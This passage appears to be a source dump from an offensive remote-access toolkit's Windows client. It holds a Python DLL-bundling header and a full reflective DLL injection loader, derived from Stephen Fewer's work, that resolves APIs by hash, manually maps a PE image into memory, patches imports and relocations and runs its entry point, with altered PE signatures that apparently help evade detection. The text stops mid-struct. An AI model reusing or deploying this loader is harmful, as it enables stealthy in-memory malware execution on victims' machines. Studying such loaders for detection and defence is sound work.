\ { \ "VCRUNTIME140.DLL", \ vcruntime140_c_start, vcruntime140_c_size, FALSE \ }, \ { \ LIBCRYPTO, \ libcrypto_c_start, libcrypto_c_size, FALSE \ }, \ { \ LIBSSL, \ libssl_c_start, libssl_c_size, FALSE \ }, \ { \ LIBFFI, \ libffi_c_start, libffi_c_size, FALSE \ }, \ { \ "PYTHON310.DLL", \ python3_c_start, python3_c_size, TRUE \ } \ } #ifndef PYTHON_DYNLOAD_OS_NO_BLOBS static char *OSGetProgramName() { static const char *program_name = ""; static BOOL is_set = FALSE; wchar_t exe[PATH_MAX]; int retval; if (is_set) return program_name; if (!GetModuleFileNameW(NULL, exe, PATH_MAX)) return NULL; retval = WideCharToMultiByte( CP_UTF8, 0, exe, -1, NULL, 0, NULL, NULL ); if (!SUCCEEDED(retval)) return NULL; program_name = LocalAlloc(LMEM_FIXED, retval); if (!program_name) return NULL; retval = WideCharToMultiByte( CP_UTF8, 0, exe, -1, program_name, retval, NULL, NULL ); if (!SUCCEEDED(retval)) { LocalFree(program_name); return NULL; } is_set = TRUE; return program_name; } #include "vcruntime140.c" #include "python3.c" #include "libcrypto.c" #include "libssl.c" #include "libffi.c" #endif #endif // PYTHON_DYNLOAD_OS_H ================================================ FILE: client/sources-windows-py3/ReflectiveDllInjection.h ================================================ //===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H //===============================================================================================// #define WIN32_LEAN_AND_MEAN #include // we declare some common stuff in here... #define DLL_QUERY_HMODULE 6 #define DEREF( name )*(UINT_PTR *)(name) #define DEREF_64( name )*(DWORD64 *)(name) #define DEREF_32( name )*(DWORD *)(name) #define DEREF_16( name )*(WORD *)(name) #define DEREF_8( name )*(BYTE *)(name) typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( PVOID ); typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); #define DLLEXPORT __declspec( dllexport ) //===============================================================================================// #endif //===============================================================================================// ================================================ FILE: client/sources-windows-py3/ReflectiveLoader.c ================================================ //===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #include "ReflectiveLoader.h" //===============================================================================================// // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value HINSTANCE hAppInstance = NULL; //===============================================================================================// #pragma intrinsic(_ReturnAddress) // This function can not be inlined by the compiler or we will not get the address we expect. Ideally // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics // available (and no inline asm available under x64). __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } //===============================================================================================// typedef void **PPVOID; typedef struct { DWORD dwFunctionHash; PPVOID ppvFunctionAddress; } ImportFunc; typedef struct { DWORD dwModuleHash; DWORD dwCount; ImportFunc *funcs; } ImportFrom; // This is our position independent reflective DLL loader/injector DLLEXPORT ULONG_PTR WINAPI REFLECTIVE_LOADER_SYM(LPVOID lpParameter) { // the functions we need LOADLIBRARYA pLoadLibraryA; GETPROCADDRESS pGetProcAddress; VIRTUALALLOC pVirtualAlloc; VIRTUALPROTECT pVirtualProtect; VIRTUALFREE pVirtualFree; #ifdef _WIN64 RTLADDFUNCTIONTABLE pRtlAddFunctionTable; #endif // NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache; BOOL blModuleResolved = FALSE; BOOL blAllFound = FALSE; // the initial location of this image in memory ULONG_PTR uiLibraryAddress; // the kernels base address and later this images newly loaded base address ULONG_PTR uiBaseAddress; // variables for processing the kernels export table ULONG_PTR uiAddressArray; ULONG_PTR uiNameArray; ULONG_PTR uiExportDir; ULONG_PTR uiNameOrdinals; DWORD dwHashValue; DWORD dwSizeOfImage; // variables for loading this image ULONG_PTR uiHeaderValue; ULONG_PTR uiValueA; ULONG_PTR uiValueB; ULONG_PTR uiValueC; ULONG_PTR uiValueD; ULONG_PTR uiValueE; ULONG_PTR uiValueF; PPVOID ppvFunction = NULL; ImportFunc *funcs; DWORD dwIdx = 0; DWORD dwNotFound; DWORD dwFunctions; DWORD dwNotFoundModules; DWORD dwModules; DWORD usCounter; ImportFunc kernel32[] = { {LOADLIBRARYA_HASH, &pLoadLibraryA}, {GETPROCADDRESS_HASH, &pGetProcAddress}, {VIRTUALALLOC_HASH, &pVirtualAlloc}, {VIRTUALPROTECT_HASH, &pVirtualProtect}, {VIRTUALFREE_HASH, &pVirtualFree} #ifdef _WIN64 , {RTLADDFUNCTIONTABLE_HASH, &pRtlAddFunctionTable} #endif }; // ImportFunc ntdll[] = { // {NTFLUSHINSTRUCTIONCACHE_HASH, &pNtFlushInstructionCache}, // }; ImportFrom imports[] = { // {NTDLLDLL_HASH, sizeof(ntdll)/sizeof(ImportFunc), ntdll}, {KERNEL32DLL_HASH, sizeof(kernel32)/sizeof(ImportFunc), kernel32} }; dwModules = dwNotFoundModules = sizeof(imports)/sizeof(ImportFrom); // STEP 0: calculate our images current base address // we will start searching backwards from our callers return address. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while(TRUE) { if((((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) || (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE_ALT)) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if(uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if((((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) || (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE_ALT)) break; } } uiLibraryAddress --; } // STEP 1: process the kernels exports for the functions our loader needs... // get the Process Enviroment Block #ifdef WIN_X64 uiBaseAddress = __readgsqword(0x60); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword(0x30); #else WIN_ARM uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); #endif #endif // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; // get the first entry of the InMemoryOrder module list uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while(uiValueA && dwNotFoundModules) { funcs = NULL; // get pointer to current modules name (unicode string) uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // set bCounter to the length for the loop usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; // clear uiValueC which will store the hash of the module name uiValueC = 0; // compute the hash of the module name... uiValueC = hashmodname(uiValueB, usCounter); for (dwIdx = 0; dwIdxDllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); // get the VA for the array of name pointers uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); // get the VA for the array of name ordinals uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); // loop while we still have imports to find while(dwNotFound) { ppvFunction = NULL; // compute the hash values for this function name dwHashValue = symhash((unsigned char *)(uiBaseAddress + DEREF_32(uiNameArray))); for (dwIdx = 0; dwIdx < dwFunctions; dwIdx ++) { if (dwHashValue == funcs[dwIdx].dwFunctionHash) { ppvFunction = funcs[dwIdx].ppvFunctionAddress; break; } } if (ppvFunction) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); // store this functions VA *ppvFunction = (PVOID) (uiBaseAddress + DEREF_32(uiAddressArray)); // decrement our counter dwNotFound -= 1; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } // get the next entry uiValueA = DEREF(uiValueA); } // STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. dwSizeOfImage = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage; uiBaseAddress = (ULONG_PTR) pVirtualAlloc( NULL, dwSizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); // we must now copy over the headers uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; while(uiValueA--) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; // STEP 3: load in all of our sections... // uiValueA = the VA of the first section uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); // itterate through all sections, loading them into memory. uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while(uiValueE--) { // uiValueB is the VA for this section uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); // uiValueC if the VA for this sections data uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); // copy the section over uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; while(uiValueD--) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; // get the VA of the next section uiValueA += sizeof(IMAGE_SECTION_HEADER); } // STEP 4: process our images import table... // uiValueB = the address of the import directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; // we assume their is an import table to process // uiValueC is the first entry in the import table uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); // itterate through all imports while(((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) { // use LoadLibraryA to load the imported module into memory uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); // uiValueD = VA of the OriginalFirstThunk uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); // itterate through all imported functions, importing by ordinal if no name present while(DEREF(uiValueA)) { // sanity check uiValueD as some compilers only import by FirstThunk if(uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // get the VA of the modules NT Header uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); // get the VA for the array of addresses uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); // use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); // patch in the address for this imported function DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); } else { // get the VA of this functions import by name struct uiValueB = (uiBaseAddress + DEREF(uiValueA)); // use GetProcAddress and patch in the address for this imported function DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); } // get the next imported function uiValueA += sizeof(ULONG_PTR); if(uiValueD) uiValueD += sizeof(ULONG_PTR); } // get the next import uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); } // STEP 5: process all of our images relocations... // calculate the base address delta and perform relocations (even if we load at desired image base) uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; // uiValueB = the address of the relocation directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; // check if their are any relocations present if(((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) { // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); // and we itterate through all entries... while(((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) { // uiValueA = the VA for this relocation block uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); // uiValueB = number of entries in this relocation block uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); // uiValueD is now the first entry in the current relocation block uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); // we itterate through all the entries in the current block... while(uiValueB--) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; #ifdef WIN_ARM // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) { register DWORD dwInstruction; register DWORD dwAddress; register WORD wImm; // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); // flip the words to get the instruction as expected dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); // sanity chack we are processing a MOV instruction... if((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) { // pull out the encoded 16bit value (the high portion of the address-to-relocate) wImm = (WORD)(dwInstruction & 0x000000FF); wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); // apply the relocation to the target address dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; // now create a new instruction with the same opcode and register param. dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); // patch in the relocated address... dwInstruction |= (DWORD)(dwAddress & 0x00FF); dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; // now flip the instructions words and patch back into the code... *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); } } #endif else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); // get the next entry in the current relocation block uiValueD += sizeof(IMAGE_RELOC); } // get the next entry in the relocation directory uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } // STEP 6: Execute TLS is any uiValueC = (ULONG_PTR)&(( PIMAGE_NT_HEADERS) uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_TLS]; if (((PIMAGE_DATA_DIRECTORY)uiValueC)->VirtualAddress) { uiValueA = (PIMAGE_TLS_CALLBACK *) ( (PIMAGE_TLS_DIRECTORY) ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueC)->VirtualAddress ) )->AddressOfCallBacks; if (uiValueA) { while (*((PIMAGE_TLS_CALLBACK *) uiValueA)) { (*((PIMAGE_TLS_CALLBACK *) uiValueA))( (LPVOID) uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); uiValueA += sizeof(ULONG_PTR); } } } // STEP 7: If AMD64 - register exceptions #if _WIN64 uiValueC = (ULONG_PTR)&(( PIMAGE_NT_HEADERS) uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION]; uiValueA = ((PIMAGE_DATA_DIRECTORY) uiValueC)->VirtualAddress; uiValueE = ((PIMAGE_DATA_DIRECTORY) uiValueC)->Size; if (uiValueA && uiValueE && pRtlAddFunctionTable) { pRtlAddFunctionTable( uiBaseAddress + uiValueA, ( uiValueE / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY) ) - 1, uiBaseAddress ); } #endif // STEP 8: Finalize all the crap // uiValueA = the VA of the first section uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ( (PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while(uiValueE--) { // uiValueB is the VA for this section uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); // uiValueC if characteristics of the section uiValueC = ((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics; // copy the section over uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; if (uiValueC & IMAGE_SCN_MEM_DISCARDABLE) pVirtualFree(uiValueB, uiValueD, MEM_DECOMMIT); else if (uiValueC & IMAGE_SCN_MEM_EXECUTE) pVirtualProtect(uiValueB, uiValueD, PAGE_EXECUTE_READ, &uiValueF); else pVirtualProtect(uiValueB, uiValueD, PAGE_READWRITE, &uiValueF); // get the VA of the next section uiValueA += sizeof(IMAGE_SECTION_HEADER); } pVirtualFree(uiLibraryAddress, dwSizeOfImage, MEM_DECOMMIT); // STEP 9: call our images entry point // uiValueA = the VA of our newly loaded DLL/EXE's entry point uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); // // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. // pNtFlushInstructionCache((HANDLE)-1, NULL, 0); // call our respective entry point, fudging our hInstance value // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); // STEP 10: return our new entry point address so whatever called us can call DllMain() if needed. return uiValueA; } // ================================================ FILE: client/sources-windows-py3/ReflectiveLoader.h ================================================ //===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H //===============================================================================================// #define WIN32_LEAN_AND_MEAN #include #include #include "ReflectiveDLLInjection.h" typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); typedef LPVOID (WINAPI * VIRTUALPROTECT)( LPVOID, SIZE_T, DWORD, PDWORD ); typedef LPVOID (WINAPI * VIRTUALFREE)( LPVOID, SIZE_T, DWORD ); typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); #define KERNEL32DLL_HASH 0x29cdd463 #define NTDLLDLL_HASH 0x145370bb #define LOADLIBRARYA_HASH 0x53b2070f #define GETPROCADDRESS_HASH 0xf8f45725 #define VIRTUALALLOC_HASH 0x03285501 #define VIRTUALPROTECT_HASH 0x820621f3 #define VIRTUALFREE_HASH 0x3a9acc72 #define NTFLUSHINSTRUCTIONCACHE_HASH 0x24f8dd09 #ifdef _WIN64 typedef BOOLEAN (NTAPI * RTLADDFUNCTIONTABLE)( PVOID, DWORD, DWORD64 ); #define RTLADDFUNCTIONTABLE_HASH 0x38791528 #endif #define IMAGE_REL_BASED_ARM_MOV32A 5 #define IMAGE_REL_BASED_ARM_MOV32T 7 #define ARM_MOV_MASK (DWORD)(0xFBF08000) #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) #define ARM_MOVW 0xF2400000 #define ARM_MOVT 0xF2C00000 #define HASH_KEY 13 #ifndef REFLECTIVE_LOADER_SYM #define REFLECTIVE_LOADER_SYM ReflectiveLoader #endif #define STRINGIFY(x) #x #define TOSTRING(x) STRINGIFY(x) #define REFLECTIVE_LOADER_SYMNAME TOSTRING(REFLECTIVE_LOADER_SYM) #define IMAGE_DOS_SIGNATURE_ALT 0x4548 #define IMAGE_NT_SIGNATURE_ALT 0x0B15B00B5 //===============================================================================================// #define FNV_PRIME_32 16777619 #define FNV_OFFSET_32 2166136261 __forceinline static DWORD symhash(const unsigned char *s) { register DWORD h = FNV_OFFSET_32; if (!s || !s[0]) return h; /* Workaround stdcall namings _BLABLA@1234 -> BLABLA */ if (s[0] == '_') s ++; while (s[0] && s[0] != '@') { h = h ^ s[0]; h = h * FNV_PRIME_32; s ++; } return h; } __forceinline static DWORD hashmodname(const unsigned char *s, DWORD dwLength) { register DWORD h = FNV_OFFSET_32; while (dwLength --) { unsigned char c = (*s ++); if (!c) continue; if (c >= 'a') c -= 0x20; h ^= c; h *= FNV_PRIME_32; } return h; } //===============================================================================================// typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; PWSTR pBuffer; } UNICODE_STR, *PUNICODE_STR; // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY //__declspec( align(8) ) typedef struct _LDR_DATA_TABLE_ENTRY { //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STR FullDllName; UNICODE_STR BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; // WinDbg> dt -v ntdll!_PEB_LDR_DATA typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes { DWORD dwLength; DWORD dwInitialized; LPVOID lpSsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; LPVOID lpEntryInProgress; } PEB_LDR_DATA, * PPEB_LDR_DATA; // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes { struct _PEB_FREE_BLOCK * pNext; DWORD dwSize; } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; // struct _PEB is defined in Winternl.h but it is incomplete // WinDbg> dt -v ntdll!_PEB typedef struct __PEB // 65 elements, 0x210 bytes { BYTE bInheritedAddressSpace; BYTE bReadImageFileExecOptions; BYTE bBeingDebugged; BYTE bSpareBool; LPVOID lpMutant; LPVOID 